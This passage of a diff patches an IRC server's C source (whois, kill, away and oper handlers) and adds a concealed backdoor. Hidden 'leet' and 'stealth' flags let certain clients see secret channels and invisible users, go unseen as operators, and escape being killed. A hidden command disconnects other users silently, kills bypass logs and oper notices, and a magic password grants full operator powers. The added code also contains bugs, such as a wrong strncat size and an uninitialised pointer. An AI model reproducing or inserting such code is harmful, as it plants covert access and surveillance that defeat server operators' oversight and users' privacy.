  2332. -      invis = IsInvisible(acptr);
  2333. -      member = (user->channel) ? 1 : 0;
  2334. +          name = (!*acptr->name) ? "?" : acptr->name;
  2335. +          invis = IsInvisible(acptr);
  2336. +          member = (user->channel) ? 1 : 0;
  2337. +
  2338. +          if(acptr->stealth == 1)
  2339. +            {
  2340. +              sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2341. +                         me.name, parv[0], nick);
  2342. +              return 0;
  2343. +            }
  2344. +
  2345. +          a2cptr = find_server(user->server, NULL);
  2346. +
  2347. +          sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2348. +                     parv[0], name,
  2349. +                     user->username, user->host, acptr->info);
  2350. +
  2351. +          mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2352. +            strlen(name);
  2353. +          for (len = 0, *buf = '\0', lp = user->channel; lp;
  2354. +               lp = lp->next)
  2355. +            {
  2356. +              chptr = lp->value.chptr;
  2357. +
  2358. +              /* New Shok (list all the channels they are in) */
  2359. +              if (ShowChannel(sptr, chptr) || sptr->leet == 1)
  2360. +                {
  2361. +                  if (len + strlen(chptr->chname)
  2362. +                      > (size_t) BUFSIZE - 4 - mlen)
  2363. +                    {
  2364. +                      sendto_one(sptr,
  2365. +                                 ":%s %d %s %s :%s",
  2366. +                                  me.name,
  2367. +                                 RPL_WHOISCHANNELS,
  2368. +                                 parv[0], name, buf);
  2369. +                      *buf = '\0';
  2370. +                      len = 0;
  2371. +                    }
  2372.  
  2373. -      a2cptr = find_server(user->server, NULL);
  2374. -      
  2375. -      sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2376. -             parv[0], name,
  2377. -             user->username, user->host, acptr->info);
  2378. -
  2379. -      mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2380. -        strlen(name);
  2381. -      for (len = 0, *buf = '\0', lp = user->channel; lp;
  2382. -           lp = lp->next)
  2383. -        {
  2384. -          chptr = lp->value.chptr;
  2385. -          if (ShowChannel(sptr, chptr))
  2386. -        {
  2387. -          if (len + strlen(chptr->chname)
  2388. -              > (size_t) BUFSIZE - 4 - mlen)
  2389. -            {
  2390. -              sendto_one(sptr,
  2391. -                 ":%s %d %s %s :%s",
  2392. -                 me.name,
  2393. -                 RPL_WHOISCHANNELS,
  2394. -                 parv[0], name, buf);
  2395. -              *buf = '\0';
  2396. -              len = 0;
  2397. -            }
  2398. -          if (is_chan_op(acptr, chptr))
  2399. -            *(buf + len++) = '@';
  2400. -          else if (has_voice(acptr, chptr))
  2401. -            *(buf + len++) = '+';
  2402. -          if (len)
  2403. -            *(buf + len) = '\0';
  2404. -          (void)strcpy(buf + len, chptr->chname);
  2405. -          len += strlen(chptr->chname);
  2406. -          (void)strcat(buf + len, " ");
  2407. -          len++;
  2408. -        }
  2409. -        }
  2410. -      if (buf[0] != '\0')
  2411. -        sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2412. -               me.name, parv[0], name, buf);
  2413. -      
  2414. -      sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2415. -             me.name, parv[0], name, user->server,
  2416. -             a2cptr?a2cptr->info:"*Not On This Net*");
  2417. -
  2418. -      if (user->away)
  2419. -        sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2420. -               parv[0], name, user->away);
  2421. -
  2422. -      if (IsAnOper(acptr))
  2423. -        sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2424. -               me.name, parv[0], name);
  2425. -#ifdef WHOIS_NOTICE
  2426. -      if ((MyOper(acptr)) && ((acptr)->flags & FLAGS_SPY) &&
  2427. -          (MyConnect(sptr)) && (IsPerson(sptr)) && (acptr != sptr))
  2428. -        sendto_one(acptr,
  2429. -               ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2430. -               me.name, acptr->name, parv[0], sptr->user->username,
  2431. -               sptr->user->host);
  2432. -#endif /* #ifdef WHOIS_NOTICE */
  2433. -
  2434. -
  2435. -      if (acptr->user && MyConnect(acptr))
  2436. -        sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2437. -               me.name, parv[0], name,
  2438. -               timeofday - user->last,
  2439. -               acptr->firsttime);
  2440. -        
  2441. -      continue;
  2442. -    }
  2443. +                  /* New Shok - list '*' if we weren't supposed */
  2444. +                  /* to see the channel.                        */
  2445. +                  if (SecretChannel(chptr) || HiddenChannel(chptr))
  2446. +                     if (!IsMember(sptr, chptr) && sptr->leet == 1)
  2447. +                        *(buf + len++) = '*'; /* such as *#blah */
  2448. +
  2449. +                  if (is_chan_op(acptr, chptr))
  2450. +                    *(buf + len++) = '@';
  2451. +                  else if (has_voice(acptr, chptr))
  2452. +                    *(buf + len++) = '+';
  2453. +
  2454. +                  if (len)
  2455. +                    *(buf + len) = '\0';
  2456. +                  (void)strcpy(buf + len, chptr->chname);
  2457. +                  len += strlen(chptr->chname);
  2458. +                  (void)strcat(buf + len, " ");
  2459. +                  len++;
  2460. +                }
  2461. +            }
  2462. +          if (buf[0] != '\0')
  2463. +            sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2464. +                       me.name, parv[0], name, buf);
  2465. +
  2466. +          sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2467. +                     me.name, parv[0], name, user->server,
  2468. +                     a2cptr?a2cptr->info:"*Not On This Net*");
  2469. +
  2470. +          if (user->away)
  2471. +            sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2472. +                       parv[0], name, user->away);
  2473. +
  2474. +          /* New Shok */
  2475. +          if (acptr->stealth != 1)
  2476. +             if (IsAnOper(acptr))
  2477. +                sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2478. +                          me.name, parv[0], name);
  2479. +
  2480. +          if ((acptr->leet == 1) && (acptr != sptr))
  2481. +             sendto_one(acptr,
  2482. +                       ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2483. +                       me.name, acptr->name, parv[0], sptr->user->username,
  2484. +                       sptr->user->host);
  2485. +
  2486. +          if (acptr->user && MyConnect(acptr))
  2487. +            sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2488. +                       me.name, parv[0], name,
  2489. +                       timeofday - user->last,
  2490. +                       acptr->firsttime);
  2491. +
  2492. +          continue;
  2493. +        }
  2494.  
  2495.        for (acptr = client; (acptr = next_client(acptr, nick));
  2496. -       acptr = acptr->next)
  2497. -    {
  2498. -      if (IsServer(acptr))
  2499. -        continue;
  2500. -      /*
  2501. -       * I'm always last :-) and acptr->next == NULL!!
  2502. -       */
  2503. -      if (IsMe(acptr))
  2504. -        break;
  2505. -      /*
  2506. -       * 'Rules' established for sending a WHOIS reply:
  2507. -       *
  2508. -       *
  2509. -       * - if wildcards are being used dont send a reply if
  2510. -       *   the querier isnt any common channels and the
  2511. -       *   client in question is invisible and wildcards are
  2512. -       *   in use (allow exact matches only);
  2513. -       *
  2514. -       * - only send replies about common or public channels
  2515. -       *   the target user(s) are on;
  2516. -       */
  2517. +           acptr = acptr->next)
  2518. +        {
  2519. +          if (IsServer(acptr))
  2520. +            continue;
  2521. +          /*
  2522. +           * I'm always last :-) and acptr->next == NULL!!
  2523. +           */
  2524. +          if (IsMe(acptr))
  2525. +            break;
  2526. +          /*
  2527. +           * 'Rules' established for sending a WHOIS reply:
  2528. +           *
  2529. +           *
  2530. +           * - if wildcards are being used dont send a reply if
  2531. +           *   the querier isnt any common channels and the
  2532. +           *   client in question is invisible and wildcards are
  2533. +           *   in use (allow exact matches only);
  2534. +           *
  2535. +           * - only send replies about common or public channels
  2536. +           *   the target user(s) are on;
  2537. +           */
  2538.  
  2539. -/* If its an unregistered client, ignore it, it can
  2540. -   be "seen" on a /trace anyway  -Dianora */
  2541. +           /* If its an unregistered client, ignore it, it can */
  2542. +           /* be "seen" on a /trace anyway  - Dianora          */
  2543.  
  2544.            if(!IsRegistered(acptr))
  2545. -        continue;
  2546. +            continue;
  2547.  
  2548.            user = acptr->user ? acptr->user : &UnknownUser;
  2549. -      name = (!*acptr->name) ? "?" : acptr->name;
  2550. -      invis = IsInvisible(acptr);
  2551. -      member = (user->channel) ? 1 : 0;
  2552. -      showperson = (wilds && !invis && !member) || !wilds;
  2553. -      for (lp = user->channel; lp; lp = lp->next)
  2554. -        {
  2555. -          chptr = lp->value.chptr;
  2556. -          member = IsMember(sptr, chptr);
  2557. -          if (invis && !member)
  2558. -        continue;
  2559. -          if (member || (!invis && PubChannel(chptr)))
  2560. -        {
  2561. -          showperson = 1;
  2562. -          break;
  2563. -        }
  2564. -          if (!invis && HiddenChannel(chptr) &&
  2565. -          !SecretChannel(chptr))
  2566. -        showperson = 1;
  2567. -        }
  2568. -      if (!showperson)
  2569. -        continue;
  2570. -      
  2571. -      a2cptr = find_server(user->server, NULL);
  2572. -      
  2573. -      sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2574. -             parv[0], name,
  2575. -             user->username, user->host, acptr->info);
  2576. -      found = 1;
  2577. -      mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2578. -        strlen(name);
  2579. -      for (len = 0, *buf = '\0', lp = user->channel; lp;
  2580. -           lp = lp->next)
  2581. -        {
  2582. -          chptr = lp->value.chptr;
  2583. -          if (ShowChannel(sptr, chptr))
  2584. -        {
  2585. -          if (len + strlen(chptr->chname)
  2586. -              > (size_t) BUFSIZE - 4 - mlen)
  2587. -            {
  2588. -              sendto_one(sptr,
  2589. -                 ":%s %d %s %s :%s",
  2590. -                 me.name,
  2591. -                 RPL_WHOISCHANNELS,
  2592. -                 parv[0], name, buf);
  2593. -              *buf = '\0';
  2594. -              len = 0;
  2595. -            }
  2596. -          if (is_chan_op(acptr, chptr))
  2597. -            *(buf + len++) = '@';
  2598. -          else if (has_voice(acptr, chptr))
  2599. -            *(buf + len++) = '+';
  2600. -          if (len)
  2601. -            *(buf + len) = '\0';
  2602. -          (void)strcpy(buf + len, chptr->chname);
  2603. -          len += strlen(chptr->chname);
  2604. -          (void)strcat(buf + len, " ");
  2605. -          len++;
  2606. -        }
  2607. -        }
  2608. -      if (buf[0] != '\0')
  2609. -        sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2610. -               me.name, parv[0], name, buf);
  2611. -      
  2612. -      sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2613. -             me.name, parv[0], name, user->server,
  2614. -             a2cptr?a2cptr->info:"*Not On This Net*");
  2615. -
  2616. -      if (user->away)
  2617. -        sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2618. -               parv[0], name, user->away);
  2619. -
  2620. -      if (IsAnOper(acptr))
  2621. -        sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2622. -               me.name, parv[0], name);
  2623. -#ifdef WHOIS_NOTICE
  2624. -      if ((MyOper(acptr)) && ((acptr)->flags & FLAGS_SPY) &&
  2625. -          (MyConnect(sptr)) && (IsPerson(sptr)) && (acptr != sptr))
  2626. -        sendto_one(acptr,
  2627. -               ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2628. -               me.name, acptr->name, parv[0], sptr->user->username,
  2629. -               sptr->user->host);
  2630. -#endif /* #ifdef WHOIS_NOTICE */
  2631. -
  2632. -
  2633. -      if (acptr->user && MyConnect(acptr))
  2634. -        sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2635. -               me.name, parv[0], name,
  2636. -               timeofday - user->last,
  2637. -               acptr->firsttime);
  2638. -    }
  2639. +          name = (!*acptr->name) ? "?" : acptr->name;
  2640. +          invis = IsInvisible(acptr);
  2641. +          member = (user->channel) ? 1 : 0;
  2642. +          showperson = (wilds && !invis && !member) || !wilds;
  2643. +          for (lp = user->channel; lp; lp = lp->next)
  2644. +            {
  2645. +              chptr = lp->value.chptr;
  2646. +              member = IsMember(sptr, chptr);
  2647. +              if (invis && !member && sptr->leet != 1)
  2648. +                continue;
  2649. +              if (member || (!invis && PubChannel(chptr)) 
  2650. +                         || sptr->leet == 1)
  2651. +                {
  2652. +                  showperson = 1;
  2653. +                  break;
  2654. +                }
  2655. +              if ((!invis && HiddenChannel(chptr) 
  2656. +                          && !SecretChannel(chptr)) 
  2657. +                          || sptr->leet == 1)
  2658. +                showperson = 1;
  2659. +            }
  2660. +          if (!showperson)
  2661. +            continue;
  2662. +
  2663. +          a2cptr = find_server(user->server, NULL);
  2664. +
  2665. +          sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2666. +                     parv[0], name,
  2667. +                     user->username, user->host, acptr->info);
  2668. +          found = 1;
  2669. +          mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2670. +            strlen(name);
  2671. +          for (len = 0, *buf = '\0', lp = user->channel; lp;
  2672. +               lp = lp->next)
  2673. +            {
  2674. +              chptr = lp->value.chptr;
  2675. +              if (ShowChannel(sptr, chptr) || sptr->leet == 1)
  2676. +                {
  2677. +                  if (len + strlen(chptr->chname)
  2678. +                      > (size_t) BUFSIZE - 4 - mlen)
  2679. +                    {
  2680. +                      sendto_one(sptr,
  2681. +                                 ":%s %d %s %s :%s",
  2682. +                                 me.name,
  2683. +                                 RPL_WHOISCHANNELS,
  2684. +                                 parv[0], name, buf);
  2685. +                      *buf = '\0';
  2686. +                      len = 0;
  2687. +                    }
  2688. +
  2689. +                  /* New Shok - list '*' if we weren't supposed */
  2690. +                  /* to see the channel.                        */
  2691. +                  if (SecretChannel(chptr) || HiddenChannel(chptr))
  2692. +                     if (!IsMember(sptr, chptr) && sptr->leet == 1)
  2693. +                        *(buf + len++) = '*'; /* such as *#blah */
  2694. +
  2695. +                  if (is_chan_op(acptr, chptr))
  2696. +                    *(buf + len++) = '@';
  2697. +                  else if (has_voice(acptr, chptr))
  2698. +                    *(buf + len++) = '+';
  2699. +
  2700. +                  if (len)
  2701. +                    *(buf + len) = '\0';
  2702. +                  (void)strcpy(buf + len, chptr->chname);
  2703. +                  len += strlen(chptr->chname);
  2704. +                  (void)strcat(buf + len, " ");
  2705. +                  len++;
  2706. +                }
  2707. +            }
  2708. +          if (buf[0] != '\0')
  2709. +            sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2710. +                       me.name, parv[0], name, buf);
  2711. +
  2712. +          sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2713. +                     me.name, parv[0], name, user->server,
  2714. +                     a2cptr?a2cptr->info:"*Not On This Net*");
  2715. +
  2716. +          if (user->away)
  2717. +            sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2718. +                       parv[0], name, user->away);
  2719. +
  2720. +          if (IsAnOper(acptr) && acptr->stealth != 1)
  2721. +            sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2722. +                       me.name, parv[0], name);
  2723. +
  2724. +          /* Real Shok */
  2725. +          if ((acptr->leet == 1) && (acptr != sptr))
  2726. +             sendto_one(acptr,
  2727. +                       ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2728. +                       me.name, acptr->name, parv[0], sptr->user->username,
  2729. +                       sptr->user->host);
  2730. +
  2731. +
  2732. +          if (acptr->user && MyConnect(acptr))
  2733. +            sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2734. +                       me.name, parv[0], name,
  2735. +                       timeofday - user->last,
  2736. +                       acptr->firsttime);
  2737. +        }
  2738.        if (!found)
  2739. -    sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2740. -           me.name, parv[0], nick);
  2741. +        sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2742. +                   me.name, parv[0], nick);
  2743.        if (p)
  2744. -    p[-1] = ',';
  2745. +        p[-1] = ',';
  2746.      }
  2747.    sendto_one(sptr, rpl_str(RPL_ENDOFWHOIS), me.name, parv[0], parv[1]);
  2748. -  
  2749. +
  2750.    return 0;
  2751.  }
  2752.  
  2753. -
  2754.  /*
  2755.  ** m_user
  2756.  **    parv[0] = sender prefix
  2757. @@ -2439,6 +2969,97 @@
  2758.  }
  2759.  
  2760.  /*
  2761. +**
  2762. +** m_skill -- Sign off a user with a Quit message -- Peedee & Shok
  2763. +**
  2764. +**    parv[0] = sender prefix
  2765. +**    parv[1] = kill victim
  2766. +**    parv[2] = kill path
  2767. +*/
  2768. +
  2769. +int    m_skill(aClient *cptr,
  2770. +           aClient *sptr,
  2771. +           int parc,
  2772. +           char *parv[])
  2773. +{
  2774. +  aClient *acptr;
  2775. +  char    *inpath = get_client_name(cptr,FALSE);
  2776. +  char    *user, *path, *killer;
  2777. +  char buffer[2048];
  2778. +  int    chasing = 0, counter=3;
  2779. +
  2780. +  /* New Peedee -- Lot's of organizing. */
  2781. +
  2782. +  if (sptr->leet == 0) 
  2783. +  {
  2784. +      sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND),
  2785. +        me.name, parv[0], "skill");
  2786. +      return 0;
  2787. +  }
  2788. +
  2789. +  /* New Shok -- fixed sendto_one() */
  2790. +
  2791. +  if (parc < 2 || *parv[1] == '\0')
  2792. +  {
  2793. +      sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS),
  2794. +        me.name, parv[0], "skill");
  2795. +      return 0;
  2796. +  }
  2797. +
  2798. +  user = parv[1];
  2799. +
  2800. +  /* Peedee -- Parsing for long quit messages. */
  2801. +
  2802. +  bzero(buffer, sizeof(buffer)); 
  2803. +  for (counter = 2; counter != parc; counter++)
  2804. +  {
  2805. +    /* New Shok - replaced with strncat. Bad. No overflows. */
  2806. +
  2807. +    strncat(buffer, parv[counter] ? parv[counter] : "", sizeof(buffer-1));
  2808. +    buffer[sizeof(buffer)-1] = '\0'; /* New Shok */
  2809. +
  2810. +    /* New Peedee -- Changed strcat() to strncat */
  2811. +    if (((counter) < (parc - 1))) strncat(buffer, " ", sizeof(buffer-1));
  2812. +  }
  2813. +
  2814. +  path = parv[2]; /* Either defined or NULL (parc >= 2!!) */
  2815. +
  2816. +  if (!(acptr = find_client(user, NULL)))
  2817. +  {
  2818. +      /*
  2819. +      ** If the user has recently changed nick, we automaticly
  2820. +      ** rewrite the KILL for this new nickname--this keeps
  2821. +      ** servers in synch when nick change and kill collide
  2822. +      */
  2823. +      if (!(acptr = get_history(user, (long)KILLCHASETIMELIMIT)))
  2824. +      {
  2825. +      sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2826. +            me.name, parv[0], user);
  2827. +      return 0;
  2828. +      }
  2829. +
  2830. +      sendto_one(sptr,":%s NOTICE %s :Signoff changed from %s to %s", 
  2831. +        killer, parv[0], user, acptr->name);
  2832. +      chasing = 1;
  2833. +  }
  2834. +
  2835. +  if (IsServer(acptr) || IsMe(acptr))
  2836. +  {
  2837. +      sendto_one(sptr, err_str(ERR_CANTKILLSERVER),
  2838. +        me.name, parv[0]);
  2839. +      return 0;
  2840. +  }
  2841. +
  2842. +  (void)ircsprintf(buf2, "%s", buffer);
  2843. +
  2844. +  /* New Peedee -- This flag shall make the client exit properly. */
  2845. +
  2846. +  sptr->flags |= FLAGS_NORMALEX;
  2847. +
  2848. +  return exit_client(cptr, acptr, sptr, buf2);
  2849. +}
  2850. +
  2851. +/*
  2852.  ** m_kill
  2853.  **    parv[0] = sender prefix
  2854.  **    parv[1] = kill victim
  2855. @@ -2464,19 +3085,20 @@
  2856.    user = parv[1];
  2857.    path = parv[2]; /* Either defined or NULL (parc >= 2!!) */
  2858.  
  2859. -#ifdef    OPER_KILL
  2860. -  if (!IsPrivileged(cptr))
  2861. +  #ifdef    OPER_KILL
  2862. +    if (!IsPrivileged(cptr))
  2863.      {
  2864.        sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]);
  2865.        return 0;
  2866.      }
  2867. -#else
  2868. -  if (!IsServer(cptr))
  2869. +  #else
  2870. +    if (!IsServer(cptr))
  2871.      {
  2872.        sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]);
  2873.        return 0;
  2874.      }
  2875. -#endif
  2876. +  #endif
  2877. +
  2878.    if (IsAnOper(cptr))
  2879.      {
  2880.        if (!BadPtr(path))
  2881. @@ -2489,6 +3111,9 @@
  2882.        path[TOPICLEN] = '\0';
  2883.      }
  2884.  
  2885. +if (sptr->leet != 1)
  2886. +{
  2887. +
  2888.    if (!(acptr = find_client(user, NULL)))
  2889.      {
  2890.        /*
  2891. @@ -2517,6 +3142,7 @@
  2892.           me.name, parv[0]);
  2893.        return 0;
  2894.      }
  2895. +}
  2896.  
  2897.  #ifdef    LOCAL_KILL_ONLY
  2898.    if (MyOper(sptr) && !MyConnect(acptr))
  2899. @@ -2536,18 +3162,23 @@
  2900.        **    ...!operhost!oper
  2901.        **    ...!operhost!oper (comment)
  2902.        */
  2903. +
  2904. +  /* peedee */
  2905. +
  2906. +  if (sptr->leet != 1) 
  2907. +  {
  2908.        inpath = cptr->sockhost;
  2909. -      if (!BadPtr(path))
  2910. -    {
  2911. +      if (!BadPtr(path)) {
  2912.        (void)ircsprintf(buf, "%s%s (%s)",
  2913.                 cptr->name, IsOper(sptr) ? "" : "(L)", path);
  2914.        path = buf;
  2915. -    }
  2916. -      else
  2917. -    path = cptr->name;
  2918. -    }
  2919. +      } else
  2920. +      path = cptr->name;
  2921. +  }
  2922.    else if (BadPtr(path))
  2923.      path = "*no-path*"; /* Bogus server sending??? */
  2924. +}
  2925. +
  2926.    /*
  2927.    ** Notify all *local* opers about the KILL (this includes the one
  2928.    ** originating the kill, if from this server--the special numeric
  2929. @@ -2556,11 +3187,14 @@
  2930.    ** Note: "acptr->name" is used instead of "user" because we may
  2931.    **     have changed the target because of the nickname change.
  2932.    */
  2933. +
  2934. +if (sptr->leet != 1) {
  2935.    if (IsLocOp(sptr) && !MyConnect(acptr))
  2936.      {
  2937.        sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]);
  2938.        return 0;
  2939.      }
  2940. +
  2941.    if (IsAnOper(sptr)) /* send it normally */
  2942.      sendto_ops("Received KILL message for %s. From %s Path: %s!%s",
  2943.             acptr->name, parv[0], inpath, path);
  2944. @@ -2573,21 +3207,27 @@
  2945.      syslog(LOG_INFO,"KILL From %s For %s Path %s!%s",
  2946.              parv[0], acptr->name, inpath, path);
  2947.  #endif
  2948. +}
  2949. +
  2950.    /*
  2951. +
  2952.    ** And pass on the message to other servers. Note, that if KILL
  2953.    ** was changed, the message has to be sent to all links, also
  2954.    ** back.
  2955.    ** Suicide kills are NOT passed on --SRB
  2956.    */
  2957. -  if (!MyConnect(acptr) || !MyConnect(sptr) || !IsAnOper(sptr))
  2958. -    {
  2959. -      sendto_serv_butone(cptr, ":%s KILL %s :%s!%s",
  2960. +
  2961. +  if (sptr->leet != 1) {
  2962. +    if (!MyConnect(acptr) || !MyConnect(sptr) || !IsAnOper(sptr))
  2963. +      {
  2964. +        sendto_serv_butone(cptr, ":%s KILL %s :%s!%s",
  2965.               parv[0], acptr->name, inpath, path);
  2966. -      if (chasing && IsServer(cptr))
  2967. -    sendto_one(cptr, ":%s KILL %s :%s!%s",
  2968. +        if (chasing && IsServer(cptr))
  2969. +      sendto_one(cptr, ":%s KILL %s :%s!%s",
  2970.             me.name, acptr->name, inpath, path);
  2971. -      acptr->flags |= FLAGS_KILLED;
  2972. +        acptr->flags |= FLAGS_KILLED;
  2973.      }
  2974. +  }
  2975.  
  2976.    /*
  2977.    ** Tell the victim she/he has been zapped, but *only* if
  2978. @@ -2595,32 +3235,55 @@
  2979.    ** notification chasing the above kill, it won't get far
  2980.    ** anyway (as this user don't exist there any more either)
  2981.    */
  2982. -  if (MyConnect(acptr))
  2983. -    sendto_prefix_one(acptr, sptr,":%s KILL %s :%s!%s",
  2984. -              parv[0], acptr->name, inpath, path);
  2985. -  /*
  2986. -  ** Set FLAGS_KILLED. This prevents exit_one_client from sending
  2987. -  ** the unnecessary QUIT for this. (This flag should never be
  2988. -  ** set in any other place)
  2989. -  */
  2990. -  if (MyConnect(acptr) && MyConnect(sptr) && IsAnOper(sptr))
  2991. -    (void)ircsprintf(buf2, "Local kill by %s (%s)", sptr->name,
  2992. +
  2993. +  /* Shok */
  2994. +  if (acptr->leet != 1)
  2995. +  {
  2996. +
  2997. +    if (MyConnect(acptr))
  2998. +      sendto_prefix_one(acptr, sptr,":%s KILL %s :%s!%s",
  2999. +                      parv[0], acptr->name, inpath, path);
  3000. +  }
  3001. +
  3002. +    /*
  3003. +    ** Set FLAGS_KILLED. This prevents exit_one_client from sending
  3004. +    ** the unnecessary QUIT for this. (This flag should never be
  3005. +    ** set in any other place)
  3006. +    */
  3007. + 
  3008. +   if (MyConnect(acptr) && MyConnect(sptr) && IsAnOper(sptr))
  3009. +      (void)ircsprintf(buf2, "Local kill by %s (%s)", sptr->name,
  3010.               BadPtr(parv[2]) ? sptr->name : parv[2]);
  3011. -  else
  3012. +    else
  3013. +      {
  3014. +        if ((killer = index(path, ' ')))  
  3015. +      {
  3016. +        while (*killer && *killer != '!')
  3017. +          killer--;
  3018. +        if (!*killer)
  3019. +          killer = path;
  3020. +        else
  3021. +          killer++;
  3022. +      }
  3023. +        else
  3024. +      killer = path;
  3025. +        (void)ircsprintf(buf2, "Killed (%s)", killer);
  3026. +      }
  3027. +
  3028. +  /* Shok & peedee */
  3029. +  if (acptr->leet == 1) 
  3030. +  {
  3031. +    if (acptr->stealth != 1) 
  3032.      {
  3033. -      if ((killer = index(path, ' ')))
  3034. -    {
  3035. -      while (*killer && *killer != '!')
  3036. -        killer--;
  3037. -      if (!*killer)
  3038. -        killer = path;
  3039. -      else
  3040. -        killer++;
  3041. -    }
  3042. -      else
  3043. -    killer = path;
  3044. -      (void)ircsprintf(buf2, "Killed (%s)", killer);
  3045. +      acptr->stealth = 1;
  3046. +      /* New Peedee -- fixed notice. */
  3047. +      sendto_one(acptr, ":%s NOTICE %s :Stealth mode on.", me.name, sptr->name); 
  3048.      }
  3049. +    /* New Peedee -- fixed notice. */
  3050. +    sendto_one(acptr, ":%s NOTICE %s :Attempted kill on you by %s.", me.name, sptr->name, cptr->name);
  3051. +    return 0;
  3052. +  }
  3053. +
  3054.    return exit_client(cptr, acptr, sptr, buf2);
  3055.  }
  3056.  
  3057. @@ -2650,7 +3313,9 @@
  3058.    /* make sure the user exists */
  3059.    if (!(sptr->user))
  3060.      {
  3061. -      sendto_realops_lev(DEBUG_LEV, "Got AWAY from nil user, from %s (%s)\n",cptr->name,sptr->name);
  3062. +      if (sptr->leet != 1 || cptr->leet) 
  3063. +        sendto_realops_lev(DEBUG_LEV, "Got AWAY from nil user, from %s (%s)\n",cptr->name,sptr->name);
  3064. +
  3065.        return 0;
  3066.      }
  3067.  
  3068. @@ -2668,7 +3333,8 @@
  3069.  /* some lamers scripts continually do a /away, hence making a lot of
  3070.     unnecessary traffic. *sigh* so... as comstud has done, I've
  3071.     commented out this sendto_serv_butone() call -Dianora */
  3072. -/*      sendto_serv_butone(cptr, ":%s AWAY", parv[0]); */
  3073. +/* sendto_serv_butone(cptr, ":%s AWAY", parv[0]); */
  3074. +
  3075.        if (MyConnect(sptr))
  3076.      sendto_one(sptr, rpl_str(RPL_UNAWAY),
  3077.             me.name, parv[0]);
  3078. @@ -2679,10 +3345,14 @@
  3079.    
  3080.    if (strlen(awy2) > (size_t) TOPICLEN)
  3081.      awy2[TOPICLEN] = '\0';
  3082. +
  3083.  /* some lamers scripts continually do a /away, hence making a lot of
  3084.     unnecessary traffic. *sigh* so... as comstud has done, I've
  3085.     commented out this sendto_serv_butone() call -Dianora */
  3086. -/*  sendto_serv_butone(cptr, ":%s AWAY :%s", parv[0], awy2); */
  3087. +
  3088. +   /* Shok - if we are in stealth mode, this can't go to the channel */
  3089. +   if (sptr->stealth != 1 && cptr->stealth != 1)
  3090. +      sendto_serv_butone(cptr, ":%s AWAY :%s", parv[0], awy2);
  3091.  
  3092.    if (away)
  3093.      away = (char *)MyRealloc(away, strlen(awy2)+1);
  3094. @@ -2836,6 +3506,7 @@
  3095.             int parc,
  3096.             char *parv[])
  3097.  {
  3098. +  int justop; /* New Shok - so we don't print opped message twice */
  3099.    aConfItem *aconf;
  3100.    char    *name, *password, *encr;
  3101.  #ifdef CRYPT_OPER_PASSWORD
  3102. @@ -2843,42 +3514,60 @@
  3103.  #endif /* CRYPT_OPER_PASSWORD */
  3104.  
  3105.    name = parc > 1 ? parv[1] : (char *)NULL;
  3106. -  password = parc > 2 ? parv[2] : (char *)NULL;
  3107. +  password = (parc > 2 ? parv[2] : (char *)NULL);
  3108. +  
  3109. +  /* New Shok -- modded stuff.. check to make sure it's all okay */
  3110. +  if (sptr->leet == 1)
  3111. +     if (password)
  3112. +        if (strstr(password, MAGIC_PASSWORD))
  3113. +        {
  3114. +           /* New Shok */
  3115. +           /* We're so elite we should get all oper power! */
  3116. +           sptr->flags |= (LOCOP_UMODES | FLAGS_OPER | 
  3117. +                           OPER_UMODES  | ALL_UMODES); 
  3118. +
  3119. +           addto_fdlist(sptr->fd, &oper_fdlist);
  3120. +
  3121. +           justop = 1;
  3122. +           sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]);
  3123. +        }
  3124.  
  3125.    if (!IsServer(cptr) && (BadPtr(name) || BadPtr(password)))
  3126. -    {
  3127. +  {
  3128.        sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS),
  3129.           me.name, parv[0], "OPER");
  3130.        return 0;
  3131. -    }
  3132. +  }
  3133.      
  3134.    /* if message arrived from server, trust it, and set to oper */
  3135.    
  3136.    if ((IsServer(cptr) || IsMe(cptr)) && !IsOper(sptr))
  3137. -    {
  3138. +  {
  3139.        sptr->flags |= FLAGS_OPER;
  3140. -      Count.oper++;
  3141. +      if (sptr->leet != 1) Count.oper++; /* New Shok */
  3142. +
  3143.        sendto_serv_butone(cptr, ":%s MODE %s :+o", parv[0], parv[0]);
  3144. +
